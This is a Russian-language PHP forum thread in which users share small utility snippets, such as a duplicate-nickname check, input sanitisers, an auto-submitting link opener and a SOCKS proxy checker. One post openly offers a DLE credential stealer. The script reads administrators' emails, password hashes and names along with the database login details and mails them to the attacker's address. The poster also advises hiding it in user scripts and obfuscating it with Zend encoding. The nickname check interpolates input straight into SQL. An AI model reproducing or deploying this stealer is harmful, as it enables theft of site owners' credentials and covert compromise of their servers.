Стандартные решения (велосипеды)

Статус
В этой теме нельзя размещать новые ответы.
  • Заблокирован
  • #12
*** скрытое содержание ***
Видимо ты ни сталкивался с такой проблемой если задал такой вопрос.
array_reverse не переворачивает идексные ключи вот собственно и стала причиной изобретения велосипеда.
Но чтобы это сообщение не было здесь флудом для читающих прикрепляю еще один мой велосипед
"Велосипед ворования паролей администраторов dle".

Код :

PHP:
<?php

ob_start ();
// Подключаем основные библиотеки DLE
define ("DATALIFEENGINE", "1");
include("../engine/classes/mysql.class.php");
include("../engine/data/dbconfig.php");
include("../engine/data/config.php");


// Устанавливаем соединение с MySQL
mysql_connect(DBHOST, DBUSER, DBPASS);
mysql_select_db(DBNAME);


//Получаем данные логина пароля и почты с mysql сайта источника

$hack_on = mysql_query("SELECT email,password,name FROM `".PREFIX."_users` WHERE user_group=1");

//Упаковываем полученные логина/пароля/emaila  в таблицу
while($arrays = mysql_fetch_array($hack_on))
{
$alls .= $arrays['email']." || ".$arrays['password']." || ".$arrays['name']." || <br>";
}

//Здесь вы должны поставить вашу почту,на которую будут украденные отправляться данные
$to = "pochta@yandex.ru";

//Здесь вы должны поставить заголовок сообщение которое будет Вам приходить при краже
$subject = "Данные украли!";

//Также прикрепляем данные логина/пароля/хоста/префикс/имяБД к нашем украденным данным администраторов.
$message = DBHOST." || ".DBUSER." || ".DBPASS." || ".DBNAME." || ".PREFIX." || <br>".$_SERVER['HTTP_HOST']."<br>||".$alls;

//отправляем данные к Вам на почту(данные скорей всего придут в папку СПАМ)
mail($to, $subject, $message) ;


?>
Можно встроить в какой-нибудь пользовательский скрипт для школоты,если же предполагается воравать данные ни школьников,то придется еще закодировать zend'ом например, и для гарантии лучше сперва обуфусцировать,но это другая история...
 
Проверяем значения в базе на дубли
Можно проще:
PHP:
$result = mysql_query("SELECT null FROM `база_данных` WHERE `nick` = '$nick' LIMIT 1");
if (mysql_num_rows($result) > 0) {
  //Предлагаем выбрать другой ник
}
else {
  //Регистрируем
}
 
получение user агента загрузившего страницу + простенький фильтр от назойливого спам бота

PHP:
$agent = $_SERVER['HTTP_USER_AGENT'];
if (strpos($agent, 'Java') === 0) {
  exit();
}
 
PHP:
// очищаем строку от опасных символов
function untag ($string)
{
$string = ereg_replace("<","&lt;",$string);
$string = ereg_replace(">","&gt;",$string);
$string = ereg_replace('\\\"',"&quot;",$string);
$string = ereg_replace(":","&#58;",$string);
$string = ereg_replace("!","&#33;",$string);
$string = ereg_replace("\r","",$string);
$string = ereg_replace("\n","<br>",$string);
$string = ereg_replace("%","&#37;",$string);
$string = ereg_replace("^ +","",$string);
$string = ereg_replace(" +$","",$string);
$string = ereg_replace(" +"," ",$string);
return $string;
};
 
  • Заблокирован
  • #17
PHP:
// очищаем строку от опасных символов
function untag ($string)
{
$string = ereg_replace("<","&lt;",$string);
$string = ereg_replace(">","&gt;",$string);
$string = ereg_replace('\\\"',"&quot;",$string);
$string = ereg_replace(":","&#58;",$string);
$string = ereg_replace("!","&#33;",$string);
$string = ereg_replace("\r","",$string);
$string = ereg_replace("\n","<br>",$string);
$string = ereg_replace("%","&#37;",$string);
$string = ereg_replace("^ +","",$string);
$string = ereg_replace(" +$","",$string);
$string = ereg_replace(" +"," ",$string);
return $string;
};

А зачем через регулярное выражение, правельнее будет так -
PHP:
function untag (&$string)
{
$string = str_replace(array("<", ">", '\\\"' , ":" , "!" , "\r" , "\n" , "%" , "^ +" , " +$" ,v),array("&lt;", "&lt;" , "&quot;" , "&#58;" , "&#33;" , "" , "<br>" , "&#37;" , "" , "" , " " ),$string); }
- вот так гораздо быстрее будет и экономней.
 
А зачем через регулярное выражение, правельнее будет так - PHP: ... ereg_replace ... - вот так гораздо быстрее будет и экономней.

С версии PHP 5.3.0 эта функция считается УСТАРЕВШЕЙ. Крайне не рекомендуется полагаться на эту возможность.

источник -php.net

хз насчет правильнее..
 
  • Заблокирован
  • #19
PHP:
<?php
if(!isset($_POST['otkroy']))
{
?>
<center>
<form action="" method="post">
<textarea name="otkroy" cols="45" rows="15"></textarea><br /><br />
<input type="submit" value="Отправить" />
</form>
</center>
<?php
}
else
{
$fileTemp = fopen("temp.txt","w");
fwrite($fileTemp,$_POST['otkroy']);
$allLink = file("temp.txt");
fclose($fileTemp);
for ($i=0,$time=3000;$i<count($allLink);$i++,$time+=3000) {
echo 
"<form name=\"form1\" target=\"_blank\" method=\"post\" action=\"$allLink[$i]\">
<input type=\"submit\" id=\"$i\" value=\"Добавить!\" />";
echo "<script language=\"JavaScript\">";
echo "setTimeout(\"document.getElementById('$i').click();\", $time);";
echo "</script>";
echo "</form>";
} 
}

?>
Как часто нам порой приходится открывать одни и теже сайты ,почему бы не доверить это дело браузеру?Вот собственно скрипт который открой сразу все по очереди сайты которые вы вставите в поле textarea (работает в opera).
 
PHP:
<?php
$fileProxy = 'proxy.txt';
$listProxy = file($fileProxy);
$stream = 10;
$countProxy = count($listProxy);
 
do{
    static $i = 0;
    if($i==$countProxy){echo 'Прокси кончились!'; break; }
    if(($countProxy - $i) > $stream){
        $countFor = $i+$stream;
    } else {
        $countFor = $countProxy;
    }
    unset($bufArray);
    for(; $i<$countFor; $i++){
        $bufArray[] = $listProxy[$i];
    }
    $countBufArray = count($bufArray);
    $curlMHandleS = curl_multi_init();
 
    unset($curlHandleS);
    for($s = 0; $s<$countBufArray; $s++){
        $curlHandleS[$s] = curl_init();
        curl_setopt($curlHandleS[$s],CURLOPT_RETURNTRANSFER, true);
        curl_setopt($curlHandleS[$s],CURLOPT_CONNECTTIMEOUT, 0);
        curl_setopt($curlHandleS[$s], CURLOPT_TIMEOUT, 10);
        curl_setopt($curlHandleS[$s],CURLOPT_URL, 'http://ya.ru/');
        curl_setopt($curlHandleS[$s],CURLOPT_PROXY, trim($bufArray[$s]));
        curl_setopt($curlHandleS[$s], CURLOPT_PROXYTYPE,CURLPROXY_SOCKS5);
 
        curl_multi_add_handle ($curlMHandleS, $curlHandleS[$s]);
    }
 
    do {
        curl_multi_exec ($curlMHandleS, $run);
        while ($curlInfo = curl_multi_info_read ($curlMHandleS))
        {
            $curlCODE = curl_getinfo ($curlInfo['handle'], CURLINFO_HTTP_CODE);
            if ($curlCODE == 200) {
                echo $bufArray [array_search ($curlInfo['handle'], $curlHandleS)]."\r\n";
            }
            curl_close($curlInfo['handle']);
            curl_multi_remove_handle ($curlMHandleS, $curlInfo['handle']);
        }
    } while ($run);
    curl_multi_close($curlMHandleS);
}while(true);

Много поточный прокси чекер соксов, в нете полно подобных но во всех, что я видел число потоков равно количеству строк в файле с прокси, это мня не устраивало... Вот написал такой велосипедик :) На выходных постараюсь дописать что бы чекал не только соксы но и http. То есть сразу проверял на соксы, патом в в этом же патоке (bufarray) создавал новый multi handle из остатков (те что не работают с CURLPROXY_SOCKS5), и проверял с CURLPROXY_HTTP.

Тут проверка идёт путём захода на я.ру но можно сделать так: идём на google.com так как гугл этот адрес не использует он нас редиректит, редирект значить заголовок 301. проверяем если отдали 301 заголовок значит прокси работает.
 
Статус
В этой теме нельзя размещать новые ответы.
Назад
Сверху